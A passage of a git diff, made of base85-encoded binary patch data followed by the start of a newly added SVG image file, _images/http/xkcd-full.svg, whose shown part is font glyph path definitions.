zn9sbA7DcbnolN9Yw%ti*GloVviC!sw7MAdy356N2xz||HdEs??`40bNO4&;YYlMV^
zDmi0LJmP_huy-9#V3@xyN*&Hpb}6_&BfRr*8DB_9Noa5RBfAt6w;BUp@1f#E3xT;6
z3Wgm<0j2f1tdNAZsDQ+~s&ChT@oqV!q-ngB!sel2uG-9g&F!EHi*_f(oApC^6&+Ys
zZR$|_S5zqS97jr79Ahwn1okMCwwKw`r@YUV>6E$Oe!aELK~_4%eyAH8q+7Hzj`<M5
z_W<aDuqlv|Z-V^NT|BUaff3vaZYd|E;b`0qcU-@J)~zCz!fRCv?I_~EaM!Dtt6xUr
zl*jA7HGk6Av3^8%%7jtfAyq8Y2^0FcSOgEf#u%ynEZA{3jsisawL2^n?<f}gGfJhm
zGO0L=D4b8b-TBgV7QS4w8^MecGglI~QkVCMbq`REyjF8bRw%i02@Zu;4sOnVe?-@K
z;^7L&$=5&0=Stv?a@}%&LyMaA5B7PyQZRlOIfgnf<BTjFx&IXiyLxS!P8xX_0};Db
zG-LeA`uwg*7^+Vu8?a{^w0kexzDBs4>e#-aE0th0r~MbwaKwS2K%c4mIt%JbcZ*cm
zRNvoaNnH`O;d<<u;4|s|a%J$D8m$vm!Zuq>jbuJ~VDbF)v5uarZ^vP$w_UbNky^EH
z$6kN&GIOSy(y=6f#H=uWZ3@Qv$u85D`9{1t?)SaT)h0Mg<8a(Y(1HTknI2kgoIHfb
z$@YT$-m^24N9lrQi+Tpd?p)ks^Eib3%B=0tPaW=9W_%ID8v0fduzASp4P_673K0*z
z&{QGV>W_HVsYTAM4!*DEsEFT5sDJlT*ZYkv-4HVOR(z@-$@-OV@!}tbBk*tJ^}K?a
z+}hhOye6<6k<wSVvle%n)I*W%A#JQo=NK*nS6*<O*W4eT<K9Adf@EiFNQ`>Eqd~=l
zbMZDPkUrPwthv2J5HJkA(;NMo-z953T>*OY$(hg@{1ADemvjbk_tWFdK9vn;WlkUl
zcWT}~)T!T?`H~wlt<zw1P@)9uD7+Ev1*up1Mwg$paU0_CX*_Mc<aptkhFZqBD!(ag
z#N{l<zURLmiGKaiN=&fjvdiB%Vr&i~9Tvq)e&2XR@#tr&(<N1LTH3m1+W?bq!UEM?
zc#MPD_N86;LHxSwQp@0{Kd-!i`a$g3Q<hNxdfPPjTrO^CM%gU1N5JBckcq+Y%2cj_
zwknT~mL^?dB7^uMzQBIznuNsCW34UbY%=#vJlKV0@=qaPd8EFSL|9y>w1r^c>B~pb
zl&tiTEr!YYS28>@)?Chw#fB#8g=-W$;bX<FWzKt<%i9u?i3vN<!a0J|bbHYM7vQ`>
z;rjc#P(2t#==qQg-SOfUN#?9gbxbFaSB?hexq~B|5TaULhwAiEajYD+E4BZ;iYbPf
z;00>_%JK`*Tck2q3^l!adZh5HTW5PGU5D_V4E(w%-S`nh*TC%t3DA3peZ&N~iCo*O
zufU8A%<EKR%#e?LWAh*}b>U|i?l~GcXvued;Wg@v>YMDJ2lVWz*T*RVj07~f!vYHU
z@5P-fwyJ<Yx5#6tc2!IQlYxcRJquhg!9m!nCb0`Ld|Uvet3h5w+M^+MvxCqj{|u#1
z-&v<jWi57SI`^xS_BE||^C&^b-$&s&GJ$p0=zws+QYQbW;s-x1ZGIb3$mlL>DC0cT
zpH`8ppo@Trsy<=F8}&ZwpfdyR4S<BM9)#)QG9VBqw6y~9)hk=f+nO^Z>=Vb*RFm<K
zgb(u*#mz*gAh&it3f@V5v4w!aB9;PQL~nX`v#C@~(`9ih?_}VZX6cnh?5dhgo{}RU
z^)4g}ir26K4zG^m4=zQs8{_ek%u5H9DeRj@wR10>nQwv+I@^gJssXszvE(!unJAN~
z6EM-vT6c{^%vRAQKJl&}VFEIq49l*8kYvqII}gG>3flA4W5!AAW~pc7j?3$&DhAu!
z_GlL$Hp3&=iyp1ymB%-A!=xysr#{OHM1CHsOTGPvT@;hh55T)0<hqOeRWK7j_bg)D
znmjEj7*jwiu4l&1UxI^&atIFs3`*@PLw87ApKJV^&cff^`s))4blIhLJPp2Dhu$H|
zok{YChaERo+y#8_+92;rFCnb}NWQ$KOf&xv>0~81;eAE@;)V<LMR;!isp8<*?3B`t
zG9h9!&$Li$ZiXcTCTO9{$&fn0JfBA%0nF=;B73h31cZR#V-HdW$+$654}UrS?TF4m
z+iGs}0Q;}PalE-lKP~cX&Ilhrj0jWax(lpfb#D|gpYL<oi=`Vhz9L^8vVN3Gfmra4
zI@CmkVFcq3Cs}CfMYK5i=pPzI#POIuk<ZKc>o9VG7hq}PNHB@w05%#IMSUa0f1?~~
z{5Q(5l8fkBz%*KuDfFAI)@9s<k^I(FV+n_)8!c8yS)wu)yAs@F0yhUZNDiDJ*&S@`
zal3Ix6Tl`Qj>YoV@!kLy&+ZHad_2+oH3gg2G&t8KKfIvdXY03C9PIh4>K{y5gkZK!
zOSq1i;1^WV$}uitJuH?u|HatM+)e^8>@`8{ty;6VJ4kooEB>S7nxzPqyIj6~_vZqP
z!7;^FRJ^W0MjE}A5n}bG;X{2<`@>^Y@Ybb#0;NKY8-v%xY<kIqegZMR^F0vH{9AND
zppnFOVU|GdW_#8dV$1ei_4SK!Aad6L<10)Pw!LB}xV)u{U;Vc3p&9eF1(C&(aiDyc
zXpmS3I81Q)c5W|6r;Eklg^s_(vmxU<*EYrC40!g4kd`5qp48!X$qG2t#U3EDL5iG1
z-BrO>%%JmPmyz4N1TtyC44{YaSi9LstT-8-31}koK5*ZFDDC9umc)T*A~T}xx-5x@
zx3!->Ml8kr;YoG&N#mv(i2GXD6=Ofja<=J7qYMrM^$X%N88}?!byjo?nVDFG8&@GC
zAJzYR+Yu_zybFQjERPL|LE4^x3qv)(oKi}8!zQR}g`hm~6wjp$>y;DXf_DtFTu+~N
zc|C|p^wi=HCCYp`Ok7*CsfA{*|J0io!R2rhWd1IDItX;fjlKPGS%`ry)5lX{r0SrR
z68mpe7AaD{Kc1eq+U?o@r5eA{I{uSutBYR-jPRUTq*mdN7JtnOjcmw82qSeRe*IYG
zO#5;lHC?%3-#nERjBz|-P%3}(z~boWrZbi9V;;*K`LOsbTslI4{!>lQ%~XZ?68!q)
z&a=Y(D>?BKP+pyQK<2hyv+r}^Lo(p*mlBfs=Nnxs2^nqZrHLFpk-e-avWDyYakar+
ztp1-#&X%k4tk0WT&Fo@!noCV9_t|Hc__llQgskVrIc^??XyGuupN{GjGK@Z7=(n-_
zsb#|sdqH$Vr(mLpKsK(KzZsS8uHA6Nhf0y$-vuM6kXfaCv$IOYRxdn-#EAd6F6$>b
zX4}4%XZ=P??3}q@OGN@2Gx)C=ko|mhUU1&$UW~zSDiHsXw9a3S+}_mrr&Q;rIKv<p
zX#PXyQcgQHu)?wk)$p%MUf}_^&L3Z5w<i7JRRscZWbBTqUhUcfU<)KeYffNS>%FcA
zv5!-?XxwLMeJ+(0>>3gnhs4%8(~QpA^j6C>f?m+ZteYwBYGZPy&uevDqFC;6`)v_3
zLK4yiYBvGMn<PXILJa;3ol)yIMyJLrRql)KIKk}EXlj1=9P}&7%~2`Jb_1ucjvLOu
zfDcEY-`w<a+iqb4IwI+o+&ks%>f<Y+u+w^!=Aie`<4YvGWvq%r!Bq^r3ZkqT^42D`
z?4y%-`**e?pyEC6h&;Tdy;4BIwH2oOUpeSs8NKtLQ_O&fWPbgg<nDFUayaTphxSXO
zWEBs6|ITJ>?iC4x24BKp*ARoB1I=zriBRj#<Ny<{u|mZr8t(R``KmQf31^@Akav`b
zy0nl!yk*?jnl7J1p*eR-OI`3#qiA)Na^z^O%L?Zo;b*vxdR&#b&N_<Cm=|3DH~dc{
z>wYn>>~rtQ4&^4=1@+h(4oX+af9-UuFk>-7X6wcOT)2(Q?#0l3#GcDmrV2uL%!Nn&
z9nZM*LWHWeK-Xg0GFg`0TlF5dVqs8dt^FSp)D==qG`lI|xtjJQU<v1J-NERoQ%Z6<
zW?8eRcNNPI?k!iBQ+Bbj8mH+Z33@VGh+2xx?6!v5bpDpZ`Nf#t1geUu6?B__#Nq$-
z3;y8Wdh|icz?Po8!a9zCFE;|D46GsWUjfe;nUCg$t58z-wR|Sq99_z798mQu6ugzX
zE_BI|WcC+3!%3yEanmZG6)~v+|0v~^T=&ZWoa7l~hYUs&7mh0F{;8~vb<^}ZfPJt=
zv}>nn)Nxt$Q>v}v1gIzxodDh6&eJrS`!HY2v+Jq`Zexx=asJ;-iY|flN<|hp`-rE^
z2kF$MJb=j9qj^t|Q}Nd;V!}&v#rHQF<x7#=(QLZXozClCz^a-PGH}{gaLaYv)DagE
z+D(`E-0mdNkIYmh{gZ~4yU4ot=~le!qU+3e6~eP54q==%aT-r3Rg{HN>cQg59BOOm
zj<m&#VnMWyd&OYCV6uNM_oUAEQKis*nZCzXw>RAmyZk2T<-($5Guu01+cqLU=$!N?
z2(M_t%x8cn<_}lkWhjGZJ%J&PtzPcz2<V@|(q-DBzzeQu4t)fXMA_*bqG)BpVQj~)
zbRcGLco3Tj4225Qu-QS_Y>Qkf$;y)LmaW5Tz^h$l+3_tqdu;!f<odF?lE<D^?_&mZ
zCqjb9*FwR*QN9(M#)~<CDfL3lKYrRBd}D@I=60;K&rCSN&XUi|@(qz<O<XdS`OdMr
zYq~=(S-kAYsbgxmj29_Gd9{qyJY{YRBEHZ~wrqe{x~V!ClESK`l-VHNf3}K;%km11
zwLJDuv1<oX&5$!CMni_z#k)k3VJn3IX=ClFn(>nh-h6$7z8i7m{M~JS3v@ml)lN2>
zLSn!oFn2|tA^b}K=FjA`(>yN#DjaTp?hln<Aa0&mZDVP6w^1-el+E0iV^;jiTL|pD
zq=pq%PbUgTB$rWk8QlNHDRAqgBOx{T4KlPpPt5jLQpqx3&>`^1yfDNqd(r5#O98(0
z$#6O4kPXXn(gS6iLXaEJ^LJA}K@K_^vV@5%n&fBjs7XDwxxaKUXEMAgj#P%Joz4oQ
z4g;IZpDhRooaQ2(UL(+kp}^Vs>0-FY3heK^byUPPGW9x5r{3=RfX{|@c*Hej1jD++
z09_nF9ejVYB;sLpfT*F48&?XHomOhUG6?ExQ{efl*9s@Z#-k0Q_IhJXni<E6z2$@&
zhMw?<jCuQdZNvIAQWjjZnrG3yy1353wjv*uekpT~+Z;;I)^Hikr*L*a>Rg@PaTsQ*
zEG}p7Z%nt(C;P}%|6JdfKrc&5>{@kpPKWZ^)D7EQUK!E(p3lnEdIT{K*oK2`6pg+w
zbJD;ez4x+{HocR|f!R(J(7KSmhz3{hOaw8<kkc^yZD;qC8OXA<B04}sp&~z(F7j*B
zVIu08&Fh?k$ac#X^tfp|SW%&if<oEcRq=F1$5vVYIJ<rt%jRn|ighYoq=oi<t;~6=
z@=YPreK08eUMP^CbkdWAuDK$ePP;>+&rDq4YkXnPLgdk{KA`{BSl#$h+yBV2=HKGF
zHw?o3*-zhYuHa3`_tqRZEUi)gQsY7Tt*)bHm~%t(6j{Qk%knWs`#$j~a;(#998~Ev
zjRsr$c_;n4bvK{556<pR%5*ZuGiL!!Klvi5Nd}fTLdP>sPypwo<01IX#brM8Q8G^p
z%c{F0J@CzUDpZaeZ<%gG`@Pu2wpGs>=0tYzESZ94fEpnh>jjsxuyT2_aG0t3#n8Yp
z24$o0N8mjY``GMsVE<e>1<3L|V@anADQI5+L=a_jvq+VS=O%id?24{W9)lt#|07Tp
zk`HsUL11Z@!&N+Yk209Tpv2P474C&GDvM^$0o^eW?KxYYJ!u>FJgOTJ@0o9z#$zg*
zKHkRI9EX>Zf$+O4t?GcD#n^H>Ct+fW3^XxIm*$s{{Ltixa}<MqzkKjjtwsdtdxgL|
z^yp%(%6fKH1Dmw%(VTW?j@RSBk{Lena=TUbA33{|53;Xr-H<vq0vNn~lXF$uspb=J
z`@q=M+hUXIJlOLUvjHSK_Z45HiTMxx%k3_m<w%rwj+SiyjqJSdsKWd_Wuf0urTn3J
zaPj%ZcVkzc=yz+g28(a|t!o3mUkAnv%2Y5VgwecDN;oQ>?8b5(5g6A<f;-O-XlIE)
z3kCD<&3Px$&**f{{x}yh><klj`hlkCjr02*yHe+ab;Fo`7R~NqpS5^w__+}ah%lp(
zqcjQ!=qe8e0dE-P>i-96M#*@dyn}mqAKv1*WGeeYt|>#jT;Zm0ynNL38YSHYWgVaU
z1%|*H6lf{;?r?wHpEH1dj%l;d#CW3~dquK>l9-XPP?3o7;!#*FIID3dJ4)WKQB#*d
ze#xwD4;B_ODU((aN2+T1US|s#K_n~ibzOy@ig3FjjM!}5V<evA{s+FzpXvxen+;U)
zPs>>FIwqxH7JrZ+ia=H(cX5gD%D@0>M_Tb?32bKgcjSEITWbdAHiDA^9M|`%M*PiF
z-ivi1|CXkvnpf+pL;2%8l{)-K0dO-y3?OEXLYtkYDNN5e(clSZD3VO(aXLZOEkafv
z-!>lKb-!V>z?9xW*3ooYnS+|pmlQ3K-GPR!TsX<**5EliNX!)L7urF6#iGT>D3L_)
z-aQe>Te1Y)#H#VfqT3@p0=uP=+2EZz#asactWc~vECn%Ws*$^3ll!Ey@R!=_^&~*o
z)h_JwSnZmT-|s<6@r0~pqF{F`Y?T-0<NLqzNXOs4I(V$Ml-#vS5#ur3a8hY*1QXkK
zw8Mh#K8Nlq^}3-{qEzT*VWqryuj1Q&7G6b+BdShcU0d=<A$_|*lN$CDLS_5TI-(s^
z414^a3O)12gbFBD!$s|GEBfaG7_S3sj1HOc%&IfgW*r0S%@ar7O@Sq3xXn}NsKW3?
zPm;O}v#E<88KGG8c<yLg&4!eNCIPjKVTE}8svD?}nGZ3tms`94fVYk0D3B@%v88&l
zmF(b-(d??otjN$AF4GC_RFL~RO&@+*aZxN2kl>wD;C5?A&g+KV7u{70BFk!$#Ah;{
zP?fZVQYYKp+Eax!EX!-N$#bqj@Xq{0ejuMVXzwwiOCG=LjsrF@-ZUGw2qz;X(0Fm0
z4*o!|D2;EEiSK&#N>$bD@?92mH4cBcnG}}9usRXnep08^K=maJ#kQh&*W9^t=msZ5
zkea5l^(OhMU4gB%Epm!@b3v=Inlin*fwP=oY_dv?qe7YX_J!oM?kqOmDYyJX_wjq-
zCS-P@IY*7m$2y?z2<VMs^)-l!Ye&7Ia&2)A_>=1_vhsEHb3od`5f(FxuY_7_Nn*TL
zzp0bTJ}uCvW2Gfa)?CCIy~tcmKXm5?>?d)@wM7e!b<pI7z}I)4P?U=mtepWmK@;z~
z+1lXj3<Slmwyexsg*RkQp0SyiQXy&N;WxLTwsvjr?q6^OtJn6jJ0igDP`p^eo7sA4
z^On#(RtA-Ip7Lxtwnjf>Vg<Vsfnr~n_V&TlPcYsQxk`zb5+9gXCugV42Uc$GO7|&X
z8Hkx|Sl9J0Pkfn_^3(mzX&=Yy{3H=CCuaUoKmX0xCvwf-y);E*Ja*HwBje=&Mqqnf
zSJZ<z9)W<12;wlpusPR{e1l}w8b1<tkFI_TUVbLnVbpe&6C=25-!jJqH)9p0U1-er
z2UtV9Kc+VfT;WX6WUlDx@T+#gGIblJg;%;}-qC?1!0+MuKxtSnCs%qM$EbP2Vyb_h
zW4KjlH1U~Y&cGMmg^ILTQY9&yl95Zb?QfSuvC`Q-8If@5hy+_s4pjLKh40>^#BeAL
z&AJ8jDc7BK&6;TQUMha_k;A-cjG+iQkm{}$|MqKwP&?CP%k`|Cc>Nju(w7(L7R075
z73)Od$j{|Aj2*leX1*$$nIfc~q$0u8SXfV4=Z~IxL6YcM6@H*YvI~b6JZju3knO{x
z<3!NlxA#{DXjr{n>z-)`<`iSJLVQXTQ}9B8nBy=@Y~E4B+7Aj&kDIR|Kzi-`SdP5p
za}cwEkw{l{;e^Tt39~Pa`7zf!UlJ1OuI#>`B0>lD8ZhG^dd0N%U^^tDA%+m9X1;?5
z_HvKmc3~FmBj(Iw`?Ir<Gihpc>s&%?8B3JL04NEi=ZXA!T}bBpy&BpxuD24=#u$rI
zj1V?{14UD3uiDaXPTHorH7f=@e4u(ZB%fjCI4K!0^DW8m2;iUZ66={8%X7*Uw`!a-
z4(RFzZIg6fw<PNRpqk8tR9v2>wh3Nyigy)cV9Hh>;3EK?K1kEQ&t`~}CA3y0XD)Uo
zD(Kw^aXF(k47zMAv}QI@iTh7mjMCEq-ChiQ>`bcfx=IF^&AOt5KV-K*J_^g%J}TPQ
zLD#xX`rdsq@UsRFGP=ZE4iM^jFqB9=cKA@9fXzRkLdd_333F`<emD-XVIE>`7x#v7
zeO~xZ!B67M5V;5UU?mpRIWLD79}^~!nctp-xp*A~A5~r(x9pF+;}aK{Tzr0-P$C~f
z2|WOA#NW!EHrL?+I2OPXmu^79z<Rw%-kBg%>n{c&N!Y4BZG0#Hr=b<5Tj{GE@=ZaN
zysjLmv9+VrHry^c?BCo!o=<HbWPEaF<lx{RsJUc>P!sGxtEAFV5CUi_YYPcpe6%O+
zbU=;zCm)=VpZHE-O-dS$cT+kJNo>+F@T10gq2_t@mj~A_CtPi6POMvUlZTFpqNB;2
zR7|H`Plt+@f~Ybc#syCQ0~2xKe42IBkha~o1`_kKl2kagB9umt15131Z@DTMCl2tK
zrDKqf_`gwMpXnj%r~3B04M6RGo<}wHG{zA`4$JCWxpEzr<Q^)LSd+6feRS>{g=Xmt
zm0VRP5m0)I`lcM&pzo@DhOPcpl{q!1{mu69v0k!bU1XB9-t`)QU~@x&7^0i3(|C0j
vjAF=qUcN6~wmv0c+*JR+R|y@sL+l+p=t+AjHTmy<DnLq1UbI@+AmIN1=A&A=

diff --git a/_images/http/xkcd-full.svg b/_images/http/xkcd-full.svg
new file mode 100644
index 00000000000..da590c2b97e
--- /dev/null
+++ b/_images/http/xkcd-full.svg
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="525pt" height="301pt" viewBox="0 0 525 301" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 